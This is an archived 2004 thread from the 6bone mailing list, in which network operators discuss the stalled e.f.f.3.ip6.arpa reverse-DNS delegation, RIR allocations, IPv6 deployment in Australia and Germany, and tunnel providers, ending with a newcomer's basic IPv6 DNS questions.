SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From daniel@kewlio.net Mon Apr 19 15:01:51 2004
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Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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Hi,

> On Mon, Apr 19, 2004 at 03:23:11PM -0400, James wrote:
>> I second both of you. I also would like to know the status of this
>> .arpa project? And anything the community can do to help as well.
>
> Seems that the-powers-that-be have lost the little interest they had in
> making e.f.f.3.ip6.arpa happen.
>
> I, for one, have given up waiting and asking for it.  How many years has
> this not-happened now?  2 years?  More?
>
> Let's filter all 6bone routes, shut down 6bone peerings, and forget that
> it ever existed.  Instead of wasting energy on reverse DNS for something
> that doesn't want it.  (Have you noticed that it's only "production v6"
> people asking for e.f.f.3.ip6.arpa reverse DNS?)

As we're not eligible for a RIPE production block (or rather not a /32),
all that we currently have IS a 6bone block.
I don't see what the problem is with the delegation, but i want it to
happen.  I get people asking me about it regularly.
I've had our 6bone zones mirrored into ip6.arpa for a while now, i'd like
to think it wasn't all a waste of my time.

So, as a non "production v6" person, PLEASE can we have e.f.f.3.ip6.arpa
delegation!?

-- 
With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>



From gert@Space.Net Mon Apr 19 15:11:32 2004
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To: Daniel Austin <daniel@kewlio.net>
Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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Hi,

On Mon, Apr 19, 2004 at 10:57:00PM +0100, Daniel Austin wrote:
> As we're not eligible for a RIPE production block (or rather not a /32),
> all that we currently have IS a 6bone block.

Why not?  If you have a decent customer base (and are a LIR), you're 
eligible for a RIPE allocation.  "200 potential IPv6" customers is 
what counts.

If you're too small (just a hand ful customers) a suballocation might
be a workable alternative for it.

In any case: the 6bone *will* go away in about 2 years.  So you need to
migrate to RIR space anyway.  The sooner, the better.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  60210  (58081)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
From: "Daniel Austin" <daniel@kewlio.net>
To: <gert@Space.Net>
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Hi,

> On Mon, Apr 19, 2004 at 10:57:00PM +0100, Daniel Austin wrote:
>> As we're not eligible for a RIPE production block (or rather not a
>> /32), all that we currently have IS a 6bone block.
>
> Why not?  If you have a decent customer base (and are a LIR), you're
> eligible for a RIPE allocation.  "200 potential IPv6" customers is  what
> counts.

We're not a LIR.  So far, my only reason for us to become a LIR is to
obtain a RIPE IPv6 allocation.

> If you're too small (just a hand ful customers) a suballocation might be
> a workable alternative for it.

We have a sub allocation from BT - but of course it's not able to be
advertised in BGP.

> In any case: the 6bone *will* go away in about 2 years.  So you need to
> migrate to RIR space anyway.  The sooner, the better.

That's true, and we'll be a LIR by then - but until then... the 6bone is
what we have.  Why cripple something that still has some life left in it? 
I'm still getting people asking for IPv6 tunnels (and customers asking for
blocks too) - while i understand that 6/6/2006 is a final deadline and
6bone may well be dead before then - it's still *2 years* away.

But hey, those are just my thoughts.  I'd like to think i'm not the only one.

-- 
With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>



From bob@thefinks.com Mon Apr 19 15:45:37 2004
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Gert, et al

At 01:08 PM 4/19/2004, Gert Doering wrote:
>Hi,
>
>On Mon, Apr 19, 2004 at 03:23:11PM -0400, James wrote:
> > I second both of you. I also would like to know the status of this
> > .arpa project? And anything the community can do to help as well.
>
>Seems that the-powers-that-be have lost the little interest they had
>in making e.f.f.3.ip6.arpa happen.
>
>I, for one, have given up waiting and asking for it.  How many years has
>this not-happened now?  2 years?  More?
>
>Let's filter all 6bone routes, shut down 6bone peerings, and forget that
>it ever existed.  Instead of wasting energy on reverse DNS for something
>that doesn't want it.  (Have you noticed that it's only "production v6"
>people asking for e.f.f.3.ip6.arpa reverse DNS?)

Sorry for all the delays in getting the e.f.f.3.ip6.arpa service going. The 
initial problem was getting agreement to get RFC 3681 published (which just 
happened this January) and now it is getting the server details worked out, 
and then getting IANA to take them as official (per the RFC 3681).

Hexago's engineering team (who supports the 6bone web site service as well 
as the freenet6 tunnelling service) are finalizing the details of which 
servers, etc., at this time and will announce what's going to happen 
imminently.


Thanks,

Bob 


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Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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On Mon, Apr 19, 2004 at 10:08:17PM +0200, Gert Doering wrote:
> Hi,
> 
> Let's filter all 6bone routes, shut down 6bone peerings, and forget that
> it ever existed.  Instead of wasting energy on reverse DNS for something
> that doesn't want it.  (Have you noticed that it's only "production v6"
> people asking for e.f.f.3.ip6.arpa reverse DNS?)

No, I've been asking but I've given up waiting for it to happen.

I only have 6bone address space and 'production IPv6 address space' is
unlikely to roll to .au around by 06/06/2006. 

The tunnel and netblocks I've allocated have already switched over 
to using 3.f.f.e.ip6.arpa as it happens, so we are all just waiting 
on the Powers That Be.

Anand

-- 
 `` All actions take place in time by the interweaving of the 
 forces of Nature; but the man lost in selfish delusion thinks 
 that he himself is the actor.'' 
        Lord Krishna to Arjuna in _The Bhagavad Gita_

From mohacsi@niif.hu Mon Apr 19 23:59:33 2004
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On Tue, 20 Apr 2004, Anand Kumria wrote:

> On Mon, Apr 19, 2004 at 10:08:17PM +0200, Gert Doering wrote:
> > Hi,
> >
> > Let's filter all 6bone routes, shut down 6bone peerings, and forget that
> > it ever existed.  Instead of wasting energy on reverse DNS for something
> > that doesn't want it.  (Have you noticed that it's only "production v6"
> > people asking for e.f.f.3.ip6.arpa reverse DNS?)
>
> No, I've been asking but I've given up waiting for it to happen.
>
> I only have 6bone address space and 'production IPv6 address space' is
> unlikely to roll to .au around by 06/06/2006.

It is very sad. You should really speak up at your providers. As far as
I know Telstra is working on IPv6 deployment in Australia.
Best Regards,
	Janos Mohacsi


From gert@Space.Net Tue Apr 20 00:13:33 2004
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From: Gert Doering <gert@space.net>
To: Anand Kumria <wildfire@progsoc.uts.edu.au>
Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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Hi,

On Tue, Apr 20, 2004 at 11:47:02AM +1000, Anand Kumria wrote:
> I only have 6bone address space and 'production IPv6 address space' is
> unlikely to roll to .au around by 06/06/2006. 

Why?  APNIC has the same IPv6 allocation rules as RIPE, and there is
already *lots* of official IPv6 space in the AP region.

If I check the RIPE IPv6 allocation page, I can see 5 allocations in
.au - this is not very much, but it's definitely a start:

CONNECT-AU-19990916                                2001:0210::/35
V6TELSTRAINTERNET-AU-20011211                      2001:0360::/32
NTTIP-AU-20020910                                  2001:0C78::/32
DATAFX-AU-20031112                                 2001:0DB0::/32
PI-AU-20040102                                     2001:0E28::/32

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  60210  (58081)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


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On Tue, Apr 20, 2004 at 09:13:11AM +0200, Gert Doering wrote:
> Hi,
> 
> On Tue, Apr 20, 2004 at 11:47:02AM +1000, Anand Kumria wrote:
> > I only have 6bone address space and 'production IPv6 address space' is
> > unlikely to roll to .au around by 06/06/2006. 
> 
> Why?  APNIC has the same IPv6 allocation rules as RIPE, and there is
> already *lots* of official IPv6 space in the AP region.

I don't know why. None of my various providers support IPv6 at present.

And yes people are asking. They eventually seem to contact me and get
some 6bone space or use he.net. 

> If I check the RIPE IPv6 allocation page, I can see 5 allocations in
> .au - this is not very much, but it's definitely a start:
> 
> CONNECT-AU-19990916                                2001:0210::/35
> PI-AU-20040102                                     2001:0E28::/32

Neither of these are being routed.

> V6TELSTRAINTERNET-AU-20011211                      2001:0360::/32

Experimental tunnel service for around a year now. Probably, well 
according to the FAQ, it is being re-evaluated at the moment.

> NTTIP-AU-20020910                                  2001:0C78::/32

Unsure what their allocation policy/strategy is. 

> DATAFX-AU-20031112                                 2001:0DB0::/32

Providing tunnels to customers.

The rate of allocation is increasingly (4, 15, 1, 8, 14, 2 months
between them) shorter but still won't cover much of the .au ISPs by
2006.

Cheers,
Anand

-- 
 `` All actions take place in time by the interweaving of the 
 forces of Nature; but the man lost in selfish delusion thinks 
 that he himself is the actor.'' 
        Lord Krishna to Arjuna in _The Bhagavad Gita_

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One wonders why AARNET isn't listed there. Anyway, there's lots of tunnels
in AU too :) Personally I've got about 60 floating about, interest is
growing. (Yes I am subbed off one of the ones listed hehe).

Peter. 

-----Original Message-----
From: 6bone-bounces@mailman.isi.edu [mailto:6bone-bounces@mailman.isi.edu]
On Behalf Of Gert Doering
Sent: Tuesday, 20 April 2004 5:13 PM
To: Anand Kumria
Cc: Pim van Pelt; 6bone@mailman.isi.edu; Gert Doering; Jeroen Massar; James
Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)

Hi,

On Tue, Apr 20, 2004 at 11:47:02AM +1000, Anand Kumria wrote:
> I only have 6bone address space and 'production IPv6 address space' is 
> unlikely to roll to .au around by 06/06/2006.

Why?  APNIC has the same IPv6 allocation rules as RIPE, and there is already
*lots* of official IPv6 space in the AP region.

If I check the RIPE IPv6 allocation page, I can see 5 allocations in .au -
this is not very much, but it's definitely a start:

CONNECT-AU-19990916                                2001:0210::/35
V6TELSTRAINTERNET-AU-20011211                      2001:0360::/32
NTTIP-AU-20020910                                  2001:0C78::/32
DATAFX-AU-20031112                                 2001:0DB0::/32
PI-AU-20040102                                     2001:0E28::/32

Gert Doering
        -- NetMaster
--
Total number of prefixes smaller than registry allocations:  60210  (58081)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299

_______________________________________________
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From gert@Space.Net Tue Apr 20 01:33:34 2004
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Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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Hi,

On Tue, Apr 20, 2004 at 06:28:13PM +1000, Peter Good wrote:
> One wonders why AARNET isn't listed there. 

What address range are they using?  I just did a grep for "-AU-" in the
allocation list - if they are registered in some other country, this
won't find em.

> Anyway, there's lots of tunnels
> in AU too :) Personally I've got about 60 floating about, interest is
> growing. (Yes I am subbed off one of the ones listed hehe).

This is promising.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  60210  (58081)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From psgood@ipv6.net.au Tue Apr 20 01:39:33 2004
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inet6num:     2001:0388::/32
netname:      AARNET-IPV6-20020117
descr:        Australian academic and research network

There it is, doesn't have an AU in it by the looks.

Peter

-----Original Message-----
From: Gert Doering [mailto:gert@space.net] 
Sent: Tuesday, 20 April 2004 6:33 PM
To: Peter Good
Cc: 'Gert Doering'; 'Anand Kumria'; 'Pim van Pelt'; 6bone@mailman.isi.edu;
'Jeroen Massar'; 'James'
Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)

Hi,

On Tue, Apr 20, 2004 at 06:28:13PM +1000, Peter Good wrote:
> One wonders why AARNET isn't listed there. 

What address range are they using?  I just did a grep for "-AU-" in the
allocation list - if they are registered in some other country, this won't
find em.

> Anyway, there's lots of tunnels
> in AU too :) Personally I've got about 60 floating about, interest is 
> growing. (Yes I am subbed off one of the ones listed hehe).

This is promising.

Gert Doering
        -- NetMaster
--
Total number of prefixes smaller than registry allocations:  60210  (58081)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299



From jeroen@unfix.org Tue Apr 20 01:41:33 2004
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On Tue, 2004-04-20 at 10:32, Gert Doering wrote:
> Hi,
>=20
> On Tue, Apr 20, 2004 at 06:28:13PM +1000, Peter Good wrote:
> > One wonders why AARNET isn't listed there.=20
>=20
> What address range are they using?  I just did a grep for "-AU-" in the
> allocation list - if they are registered in some other country, this
> won't find em.

I have the following list (based on the country: attribute ;) )

http://www.sixxs.net/tools/grh/tla/all/?country=3Dau

2001:210::/35 CONNECT-AU-19990916 (not in routing table)
2001:360::/32 V6TELSTAINTERNET-AU-20011211
2001:388::/32 AARNET-IPV6-20020117
2001:c78::/32 NTTIP-AU-20020910
2001:db0::/32 DATAFX-AU-2003112
2001:e28::/32 PI-AU-20040102 (not in routing table)
3ffe:8000::/28 TRUMPET/AU

> > Anyway, there's lots of tunnels
> > in AU too :) Personally I've got about 60 floating about, interest is
> > growing. (Yes I am subbed off one of the ones listed hehe).
>=20
> This is promising.

Any insight on what the usage trend is for these tunnels?
Applications/traffic/... ?

Greets,
 Jeroen


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From gert@Space.Net Tue Apr 20 01:43:34 2004
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Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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Hi,

On Tue, Apr 20, 2004 at 06:38:25PM +1000, Peter Good wrote:
> inet6num:     2001:0388::/32
> netname:      AARNET-IPV6-20020117
> descr:        Australian academic and research network
> 
> There it is, doesn't have an AU in it by the looks.

Thanks.  "So there is even more IPv6 in AU than can be seen on fist glance".

(Of course the situation might still be very frustrating for the end
users - most end user ISPs in germany still don't offer IPv6 either)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  60210  (58081)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From psgood@ipv6.net.au Tue Apr 20 03:07:35 2004
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Subject: RE: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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Mostly, it's home user stuff, just people getting it for the fact of "having
it". I think though, that once more content is available V6 only, then it
should become more popular.

It's a start though.

Peter

-----Original Message-----
From: Jeroen Massar [mailto:jeroen@unfix.org] 
Sent: Tuesday, 20 April 2004 6:40 PM
To: Gert Doering
Cc: Peter Good; 'Anand Kumria'; 6bone@mailman.isi.edu
Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)

On Tue, 2004-04-20 at 10:32, Gert Doering wrote:
> Hi,
> 
> On Tue, Apr 20, 2004 at 06:28:13PM +1000, Peter Good wrote:
> > One wonders why AARNET isn't listed there. 
> 
> What address range are they using?  I just did a grep for "-AU-" in 
> the allocation list - if they are registered in some other country, 
> this won't find em.

I have the following list (based on the country: attribute ;) )

http://www.sixxs.net/tools/grh/tla/all/?country=au

2001:210::/35 CONNECT-AU-19990916 (not in routing table)
2001:360::/32 V6TELSTAINTERNET-AU-20011211
2001:388::/32 AARNET-IPV6-20020117
2001:c78::/32 NTTIP-AU-20020910
2001:db0::/32 DATAFX-AU-2003112
2001:e28::/32 PI-AU-20040102 (not in routing table)
3ffe:8000::/28 TRUMPET/AU

> > Anyway, there's lots of tunnels
> > in AU too :) Personally I've got about 60 floating about, interest 
> > is growing. (Yes I am subbed off one of the ones listed hehe).
> 
> This is promising.

Any insight on what the usage trend is for these tunnels?
Applications/traffic/... ?

Greets,
 Jeroen



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On Tue, 20 Apr 2004, Gert Doering wrote:

> Hi,
>
> On Tue, Apr 20, 2004 at 06:38:25PM +1000, Peter Good wrote:
> > inet6num:     2001:0388::/32
> > netname:      AARNET-IPV6-20020117
> > descr:        Australian academic and research network
> >
> > There it is, doesn't have an AU in it by the looks.
>
> Thanks.  "So there is even more IPv6 in AU than can be seen on fist glance".
>
> (Of course the situation might still be very frustrating for the end
> users - most end user ISPs in germany still don't offer IPv6 either)

Can you tell us which end user ISPs in Germany offer IPv6?

Best Regards,
		Janos Mohacsi
		NIIF/HUNGARNET

From gert@Space.Net Tue Apr 20 04:53:35 2004
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From: Gert Doering <gert@space.net>
To: Mohacsi Janos <mohacsi@niif.hu>
Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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Hi,

On Tue, Apr 20, 2004 at 01:11:57PM +0200, Mohacsi Janos wrote:
> > (Of course the situation might still be very frustrating for the end
> > users - most end user ISPs in germany still don't offer IPv6 either)
> Can you tell us which end user ISPs in Germany offer IPv6?

I have no comprehensive list of actual end-user offerings.

I know that we (SpaceNet) offer IPv6 on nearly all our products, including
low-price ADSL access  (not "the lowest price on the market", but 
"consumer-level pricing").

Other ISPs in Germany that have some sort of IPv6 offer include at least
the following (going through my IPv6 peerings)

  NTT/Vario 2914
  Tiscali 3257
  Easynet 4589
  Topnet/Mobilcom 5430
  VIA Net.Works 5669
  Pironet NDH 8469
  BT Ignite 8472
  Schlund 8560
  M'Net 8767
  Noris Networks 12337
  UUnet/Worldcom 12702
  IPHH 12731
  Versatel/Tesion 15717
  Celox 20646

this list is by no means comprehensive (not all of them are present at
the same IXPs as we are, and so on).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  60210  (58081)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nicolas.deffayet@ndsoftware.net Tue Apr 20 05:53:46 2004
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Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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On Tue, 2004-04-20 at 00:17, Daniel Austin wrote:
Hi,

> > On Mon, Apr 19, 2004 at 10:57:00PM +0100, Daniel Austin wrote:
> >> As we're not eligible for a RIPE production block (or rather not a
> >> /32), all that we currently have IS a 6bone block.
> >
> > Why not?  If you have a decent customer base (and are a LIR), you're
> > eligible for a RIPE allocation.  "200 potential IPv6" customers is  what
> > counts.
> 
> We're not a LIR.  So far, my only reason for us to become a LIR is to
> obtain a RIPE IPv6 allocation.

> > In any case: the 6bone *will* go away in about 2 years.  So you need to
> > migrate to RIR space anyway.  The sooner, the better.
> 
> That's true, and we'll be a LIR by then - but until then... the 6bone is
> what we have.  Why cripple something that still has some life left in it? 
> I'm still getting people asking for IPv6 tunnels (and customers asking for
> blocks too) - while i understand that 6/6/2006 is a final deadline and
> 6bone may well be dead before then - it's still *2 years* away.
> 
> But hey, those are just my thoughts.  I'd like to think i'm not the only one.

We have the same problem.
Currently the only reason for us to become a LIR is to obtain a sTLA.

When i check the 6bone pTLA list, i think that we are 5 pTLA with the
same problem.

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware IP Network: http://www.ip.ndsoftware.net/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/


From andre@grueneberg.de Tue Apr 20 07:47:35 2004
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From: Andre Grueneberg <andre@grueneberg.de>
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Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
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Gert Doering wrote:
> Other ISPs in Germany that have some sort of IPv6 offer include at least
> the following (going through my IPv6 peerings)

AFAIK there's another provider offering native IPv6 to consumers. It's
Logivision AS12732 with a non-commercial reseller called IN-Berlin. So
Germany has at least some end-user ADSL (and dial-in) providers offering
native IPv6, although the bigger players Gert mentioned don't go that
way. :/

Andre
--=20
Today's the tomorrow you worried about yesterday.

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From haesu@mx01.bos.ma.towardex.com Tue Apr 20 09:15:40 2004
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Hello,

	We provide transit to a couple tunnel brokers, and smaller ipv6
	networks.

	Generally, most of the user traffic on our network (including from
	downstream tunnelbrokers) are european efnet irc servers being
	the most popular. the 2nd most popular appears to be http traffic
	to some popular v6 sites such as kame.net, for those who is reading
	up for ipv6 documentation, learning and what not..

	i'm not implying this is bad by at all but just reproting what
	i see, on our network. most people appear to have ipv6 just to try
	out the new protocol and learn about it, but then when they try to
	actually use it for real content, there aren't any.

	i'd like to have some sort of data similar to netflow available in
	the near future as we get some time in our hands.. hopefully..

-J

On Tue, Apr 20, 2004 at 08:06:52PM +1000, Peter Good wrote:
> Mostly, it's home user stuff, just people getting it for the fact of "having
> it". I think though, that once more content is available V6 only, then it
> should become more popular.
> 
> It's a start though.
> 
> Peter
> 
> -----Original Message-----
> From: Jeroen Massar [mailto:jeroen@unfix.org] 
> Sent: Tuesday, 20 April 2004 6:40 PM
> To: Gert Doering
> Cc: Peter Good; 'Anand Kumria'; 6bone@mailman.isi.edu
> Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
> 
> On Tue, 2004-04-20 at 10:32, Gert Doering wrote:
> > Hi,
> > 
> > On Tue, Apr 20, 2004 at 06:28:13PM +1000, Peter Good wrote:
> > > One wonders why AARNET isn't listed there. 
> > 
> > What address range are they using?  I just did a grep for "-AU-" in 
> > the allocation list - if they are registered in some other country, 
> > this won't find em.
> 
> I have the following list (based on the country: attribute ;) )
> 
> http://www.sixxs.net/tools/grh/tla/all/?country=au
> 
> 2001:210::/35 CONNECT-AU-19990916 (not in routing table)
> 2001:360::/32 V6TELSTAINTERNET-AU-20011211
> 2001:388::/32 AARNET-IPV6-20020117
> 2001:c78::/32 NTTIP-AU-20020910
> 2001:db0::/32 DATAFX-AU-2003112
> 2001:e28::/32 PI-AU-20040102 (not in routing table)
> 3ffe:8000::/28 TRUMPET/AU
> 
> > > Anyway, there's lots of tunnels
> > > in AU too :) Personally I've got about 60 floating about, interest 
> > > is growing. (Yes I am subbed off one of the ones listed hehe).
> > 
> > This is promising.
> 
> Any insight on what the usage trend is for these tunnels?
> Applications/traffic/... ?
> 
> Greets,
>  Jeroen
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
James Jun                                            TowardEX Technologies, Inc.
Technical Lead                        Network Design, Consulting, IT Outsourcing
james@towardex.com                  Boston-based Colocation & Bandwidth Services
cell: 1(978)-394-2867           web: http://www.towardex.com , noc: www.twdx.net

From cfaber@fpsn.net Tue Apr 20 13:54:11 2004
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Hi folks,

I'm wondering if any of you know of or operate any US based tunnels.  
Currently I'm using HE.NET's service however recently I've been having 
MAJOR problems and am now looking for an alternative. This is because 
HE.NET's service has become unreliable for IPv6 technology development.

If anyone has any suggestions or recommendations I would love to hear 
from you.


Thanks.

-- 
Colin Faber
FPSN.Net Development staff
email: cfaber@fpsn.net


From louis.lasnier@bell.ca Wed Apr 21 12:52:16 2004
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HI M. Faber
Maybe you could consider a Bell Canada access charged in Canadian funds.
I'm sure we can give you a very good service.
Louis R. Lasnier 

 

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Today's Topics:

   1. US based IPv6 Tunnel providers (Colin Faber)


----------------------------------------------------------------------

Message: 1
Date: Tue, 20 Apr 2004 14:52:28 -0600
From: Colin Faber <cfaber@fpsn.net>
Subject: [6bone] US based IPv6 Tunnel providers
To: 6bone@ISI.EDU
Message-ID: <40858D8C.9020802@fpsn.net>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed

Hi folks,

I'm wondering if any of you know of or operate any US based tunnels.  
Currently I'm using HE.NET's service however recently I've been having 
MAJOR problems and am now looking for an alternative. This is because 
HE.NET's service has become unreliable for IPv6 technology development.

If anyone has any suggestions or recommendations I would love to hear 
from you.


Thanks.

-- 
Colin Faber
FPSN.Net Development staff
email: cfaber@fpsn.net



------------------------------

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End of 6bone Digest, Vol 4, Issue 5
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From mrp@mrp.net Thu Apr 22 07:28:31 2004
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Subject: Re: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004 - try #3)
References: <1082131468.18432.59.camel@segesta.zurich.ibm.com>	<20040419104923.GC24506@bfib.colo.bit.nl>	<20040419192311.GA46637@scylla.towardex.com>	<20040419200817.GF13090@Space.Net>	<20040420014701.GA4992@yeenoghu.progsoc.uts.edu.au>
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Gert Doering wrote:

> If I check the RIPE IPv6 allocation page, I can see 5 allocations in
> .au - this is not very much, but it's definitely a start:
> 
> CONNECT-AU-19990916                                2001:0210::/35
> V6TELSTRAINTERNET-AU-20011211                      2001:0360::/32
> NTTIP-AU-20020910                                  2001:0C78::/32
> DATAFX-AU-20031112                                 2001:0DB0::/32
> PI-AU-20040102                                     2001:0E28::/32

Your list is missing AARNet

:-)

Mark.


From lathiat@sixlabs.org Thu Apr 22 09:23:02 2004
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Date: Fri, 23 Apr 2004 00:21:17 +0800
From: Trent Lathiat Lloyd <lathiat@sixlabs.org>
To: 6bone@mailman.isi.edu
Subject: Re: IPv6 in au was: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004
	- try #3)
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The WA Internet Exchange (WAIX - waia.asn.au) now has an ipv6 router with a
few user tunnels (routing AARNet provided space) as well as peering for
ISPs, that said there doesn't seem to be too much interest at the
moment.

They also have some IX-ONLY allocated address space.

Perhaps a community effort could be started to get some more ipv6
backbone in australia, if people (myself, anand kumria, progsoc, aarnet), etc
contribute, perhaps we can get some real address space, hand it out, and
try to get more exchanges (PIPE, etc) into peering it.

Cheers,
Trent
Sixlabs

> On Tue, Apr 20, 2004 at 09:13:11AM +0200, Gert Doering wrote:
> > Hi,
> > 
> > On Tue, Apr 20, 2004 at 11:47:02AM +1000, Anand Kumria wrote:
> > > I only have 6bone address space and 'production IPv6 address space' is
> > > unlikely to roll to .au around by 06/06/2006. 
> > 
> > Why?  APNIC has the same IPv6 allocation rules as RIPE, and there is
> > already *lots* of official IPv6 space in the AP region.
> 
> I don't know why. None of my various providers support IPv6 at present.
> 
> And yes people are asking. They eventually seem to contact me and get
> some 6bone space or use he.net. 
> 
> > If I check the RIPE IPv6 allocation page, I can see 5 allocations in
> > .au - this is not very much, but it's definitely a start:
> > 
> > CONNECT-AU-19990916                                2001:0210::/35
> > PI-AU-20040102                                     2001:0E28::/32
> 
> Neither of these are being routed.
> 
> > V6TELSTRAINTERNET-AU-20011211                      2001:0360::/32
> 
> Experimental tunnel service for around a year now. Probably, well 
> according to the FAQ, it is being re-evaluated at the moment.
> 
> > NTTIP-AU-20020910                                  2001:0C78::/32
> 
> Unsure what their allocation policy/strategy is. 
> 
> > DATAFX-AU-20031112                                 2001:0DB0::/32
> 
> Providing tunnels to customers.
> 
> The rate of allocation is increasingly (4, 15, 1, 8, 14, 2 months
> between them) shorter but still won't cover much of the .au ISPs by
> 2006.
> 
> Cheers,
> Anand
> 
> -- 
>  `` All actions take place in time by the interweaving of the 
>  forces of Nature; but the man lost in selfish delusion thinks 
>  that he himself is the actor.'' 
>         Lord Krishna to Arjuna in _The Bhagavad Gita_
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
[ Trent "Lathiat" Lloyd  lathi@sixlabs.org ]/ "You sure as hell shouldn't be   \
[ tlhIngan Hol Dajatlh'e   www.sixlabs.org ]| fingering my toaster" -Linus     |
[ GPG Key Id: 0x04AB3C5D        www.bur.st ]| Torvalds, LCA2003 Speakers dinner|
[ IPv6 Conference  http://conf.sixlabs.org ]\ talking about ipv6 with me       /


From gert@Space.Net Fri Apr 23 06:28:34 2004
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From: Gert Doering <gert@space.net>
To: Trent Lathiat Lloyd <lathiat@sixlabs.org>
Subject: Re: IPv6 in au was: [6bone] e.f.f.3.ip6.arpa status ? (16 April 2004
	- try #3)
Message-ID: <20040423132721.GQ13090@Space.Net>
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Hi,

On Fri, Apr 23, 2004 at 12:21:17AM +0800, Trent Lathiat Lloyd wrote:
> Perhaps a community effort could be started to get some more ipv6
> backbone in australia, if people (myself, anand kumria, progsoc, aarnet), etc
> contribute, perhaps we can get some real address space, hand it out, and
> try to get more exchanges (PIPE, etc) into peering it.

That's exactly the way things got started in Germany... mostly 
"enthusiastic individuals getting things done".

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  60210  (58081)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From john@silverhighway.com Fri Apr 23 13:31:30 2004
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Subject: [6bone] Some dumb questions
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------=_NextPart_000_0023_01C42982.5E82BC50
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As a relative newbie to IPv6 I have to ask dumb questions.

1. How easy is it to setup an IPv6 host for DNS?
2. How do I add an AAAA record into DNS?
3. Is it possible for an IPv6 host to find an IPv4 host using DNS?
4. Is it possible for an IPv4 host to find an IPv6 host using DNS?
5. There must be some sort of gateway between IPv4 and IPv6 to allow =
two-way communication. How is this done?
6. Is it possible to setup an IPv6-only mail server? How does the mail =
exchanger record work in this case?
7. Is it possible to setup an IPv6-DNS server?
8. Where do I find resources on IPv6 autoconfiguration and how to set it =
up?
9. Are there IPv6 DHCP/bootp servers available and what software do they =
use?

Thanks

John Andrews
------=_NextPart_000_0023_01C42982.5E82BC50
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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charset=3Diso-8859-1">
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>As a relative newbie to IPv6 I have to =
ask dumb=20
questions.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1. How easy is it to setup an IPv6 host =
for=20
DNS?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>2. How do I add an AAAA record into=20
DNS?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>3. Is it possible for an IPv6 host to =
find an IPv4=20
host using DNS?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>4. Is it possible for an IPv4 host to =
find an IPv6=20
host using DNS?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>5. There must be some sort of gateway =
between IPv4=20
and IPv6 to allow two-way communication. How is this done?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>6. Is it possible to setup an IPv6-only =
mail=20
server? How does the mail exchanger record work in this =
case?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>7. Is it possible to setup an IPv6-DNS=20
